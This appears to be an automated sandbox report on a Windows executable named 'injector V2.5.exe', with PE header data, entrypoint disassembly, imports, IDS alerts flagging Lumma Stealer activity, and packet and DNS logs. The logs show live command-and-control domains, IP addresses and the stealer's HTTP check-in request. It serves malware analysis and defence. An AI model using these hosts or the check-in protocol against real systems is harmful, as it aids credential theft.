File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007F41E48769BAh
jmp 00007F41E487681Dh
mov ecx, dword ptr [0042B5F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F41E48769B6h
test esi, ecx
jne 00007F41E48769D8h
call 00007F41E48769E1h
mov ecx, eax
cmp ecx, edi
jne 00007F41E48769B9h
mov ecx, BB40E64Fh
jmp 00007F41E48769C0h
test esi, ecx
jne 00007F41E48769BCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0042B5F0h], ecx
not ecx
pop edi
mov dword ptr [0042B5ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042946Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00429430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042942Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004294A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0042C970h
call dword ptr [00429488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x237c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x293c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2169a	0x21800	02aff72e65eaf052f891170e28598361	False	0.550606343283582	data	6.737058354414408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x7264	0x7400	91e5fdecc510d2c4e72b1b50db3c2501	False	0.40641837284482757	data	4.769873714467996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2068	0x1000	f9b2b4b1f63578440eedd0ace5ac94f1	False	0.484375	OpenPGP Secret Key	5.090094544660231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x2e000	0x8	0x200	160c8b290b62e5e566d05ce3bec76423	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1400	0x1400	29fb367912ce622b91120c5cffd84495	False	0.81953125	data	6.557860970753822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x31000	0x4ee00	0x4ee00	6cbc315130b915278f3d798b2df9b067	False	1.000328100237718	data	7.999439261577721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T14:17:29.663824+0100	2057646	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz)	1	192.168.2.4	61706	1.1.1.1	53	UDP
2024-11-23T14:17:31.428348+0100	2057647	ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI)	1	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:31.428348+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:32.104063+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:32.104063+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.43.198	443	TCP
2024-11-23T14:17:33.785867+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.88.250	443	TCP
2024-11-23T14:17:34.517725+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	104.21.88.250	443	TCP
2024-11-23T14:17:34.517725+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.88.250	443	TCP
2024-11-23T14:17:35.837311+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.88.250	443	TCP
2024-11-23T14:17:36.543606+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	104.21.88.250	443	TCP
2024-11-23T14:17:36.543606+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.88.250	443	TCP
2024-11-23T14:17:38.055093+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.88.250	443	TCP
2024-11-23T14:17:40.586974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.88.250	443	TCP
2024-11-23T14:17:43.448049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.88.250	443	TCP
2024-11-23T14:17:45.914671+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.88.250	443	TCP
2024-11-23T14:17:48.020961+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.88.250	443	TCP
2024-11-23T14:17:49.421766+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49738	104.21.88.250	443	TCP
2024-11-23T14:17:50.790073+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.88.250	443	TCP
2024-11-23T14:17:51.493354+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	104.21.88.250	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:17:30.054642916 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:30.054686069 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:30.054790974 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:30.099710941 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:30.099730968 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:31.428204060 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:31.428348064 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:31.441452026 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:31.441468000 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:31.441894054 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:31.493243933 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:31.502232075 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:31.502263069 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:31.502410889 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:32.104173899 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:32.104409933 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:32.104475975 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:32.116283894 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:32.116313934 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:32.116355896 CET	49730	443	192.168.2.4	104.21.43.198
Nov 23, 2024 14:17:32.116363049 CET	443	49730	104.21.43.198	192.168.2.4
Nov 23, 2024 14:17:32.460639954 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:32.460714102 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:32.460822105 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:32.461282015 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:32.461317062 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:33.785625935 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:33.785866976 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:33.790201902 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:33.790224075 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:33.790683985 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:33.806097984 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:33.806258917 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:33.806307077 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.517749071 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.517992020 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.518060923 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.518129110 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.518161058 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.518202066 CET	49731	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.518215895 CET	443	49731	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.575256109 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.575366974 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:34.575437069 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.575752020 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:34.575773001 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:35.837169886 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:35.837311029 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:35.839109898 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:35.839117050 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:35.839441061 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:35.840672970 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:35.840698004 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:35.840753078 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.543700933 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.543924093 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.543994904 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.544044971 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.544167995 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.544224977 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.544238091 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.551634073 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.551681995 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.551695108 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.560194016 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.560266972 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.560281038 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.602701902 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.602725983 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.649530888 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.663103104 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.712060928 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.712121964 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.744568110 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.744640112 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.744656086 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.744728088 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.744781017 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.744858027 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.744870901 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.744884014 CET	49732	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.744889975 CET	443	49732	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.836975098 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.837063074 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:36.837161064 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.837558985 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:36.837599993 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.054970026 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.055093050 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:38.056644917 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:38.056668997 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.057470083 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.058696032 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:38.058844090 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:38.058902979 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.058990002 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:38.059003115 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.921720982 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.921833038 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:38.921910048 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:39.044950008 CET	49733	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:39.045002937 CET	443	49733	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:39.267842054 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:39.267951965 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:39.268044949 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:39.268485069 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:39.268507957 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:40.586823940 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:40.586973906 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:40.588807106 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:40.588828087 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:40.589612961 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:40.590830088 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:40.590955973 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:40.590993881 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:41.435725927 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:41.435997009 CET	443	49734	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:41.436048031 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:41.436116934 CET	49734	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:42.226366997 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:42.226459980 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:42.226555109 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:42.227000952 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:42.227039099 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:43.447890997 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:43.448049068 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:43.449589014 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:43.449615955 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:43.450517893 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:43.451761961 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:43.451960087 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:43.452006102 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:43.452081919 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:43.452100992 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:44.199078083 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:44.199353933 CET	443	49735	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:44.199426889 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:44.199485064 CET	49735	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:44.686213017 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:44.686249018 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:44.686331987 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:44.687153101 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:44.687165022 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:45.914608002 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:45.914670944 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:45.916116953 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:45.916126966 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:45.916357040 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:45.917854071 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:45.917941093 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:45.917947054 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:46.604207039 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:46.604450941 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:46.604460001 CET	443	49736	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:46.604521036 CET	49736	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:46.756831884 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:46.756869078 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:46.756952047 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:46.757302046 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:46.757317066 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:48.020884037 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:48.020961046 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:48.022407055 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:48.022424936 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:48.022743940 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:48.037467003 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:48.037558079 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:48.037564993 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:49.421860933 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:49.422173023 CET	443	49738	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:49.422195911 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:49.422259092 CET	49738	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:49.528989077 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:49.529032946 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:49.529097080 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:49.529557943 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:49.529568911 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:50.790005922 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:50.790072918 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:50.791356087 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:50.791367054 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:50.791692972 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:50.800978899 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:50.801042080 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:50.801136017 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:51.492975950 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:51.493282080 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:51.493365049 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:51.511229038 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:51.511264086 CET	443	49742	104.21.88.250	192.168.2.4
Nov 23, 2024 14:17:51.511305094 CET	49742	443	192.168.2.4	104.21.88.250
Nov 23, 2024 14:17:51.511320114 CET	443	49742	104.21.88.250	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 14:17:29.663824081 CET	61706	53	192.168.2.4	1.1.1.1
Nov 23, 2024 14:17:30.042036057 CET	53	61706	1.1.1.1	192.168.2.4
Nov 23, 2024 14:17:32.121208906 CET	63862	53	192.168.2.4	1.1.1.1
Nov 23, 2024 14:17:32.458523035 CET	53	63862	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 14:17:29.663824081 CET	192.168.2.4	1.1.1.1	0xf0ed	Standard query (0)	revirepart.biz	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:17:32.121208906 CET	192.168.2.4	1.1.1.1	0xcbf1	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 14:17:30.042036057 CET	1.1.1.1	192.168.2.4	0xf0ed	No error (0)	revirepart.biz	104.21.43.198	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:17:30.042036057 CET	1.1.1.1	192.168.2.4	0xf0ed	No error (0)	revirepart.biz	172.67.184.174	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:17:32.458523035 CET	1.1.1.1	192.168.2.4	0xcbf1	No error (0)	frogs-severz.sbs	104.21.88.250	A (IP address)	IN (0x0001)	false
Nov 23, 2024 14:17:32.458523035 CET	1.1.1.1	192.168.2.4	0xcbf1	No error (0)	frogs-severz.sbs	172.67.155.47	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

revirepart.biz

frogs-severz.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.43.198	443	6276	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:17:31 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: revirepart.biz
2024-11-23 13:17:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 13:17:32 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=feqlvq5s52tdbfvmv118lqsprp; expires=Wed, 19 Mar 2025 07:04:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d3WWSi%2Bo4FN7tx6i4vt4H6BEJf0hW7XAb0RtIT8DHrMHYmtr4CrgdqrYCwzeytPO1MBQNjFqXwMTtmCfhRtH%2FcIJweuJhjpwDGYWFMqhAwLRmmoj0t%2BSnZbYMKayMYgTwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7170a12fbf429d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1412675&cwnd=245&unsent_bytes=0&cid=2791e09a14adc664&ts=701&x=0"
2024-11-23 13:17:32 UTC	9	IN	Data Raw: 34 0d 0a 66 61 69 6c 0d 0a Data Ascii: 4fail
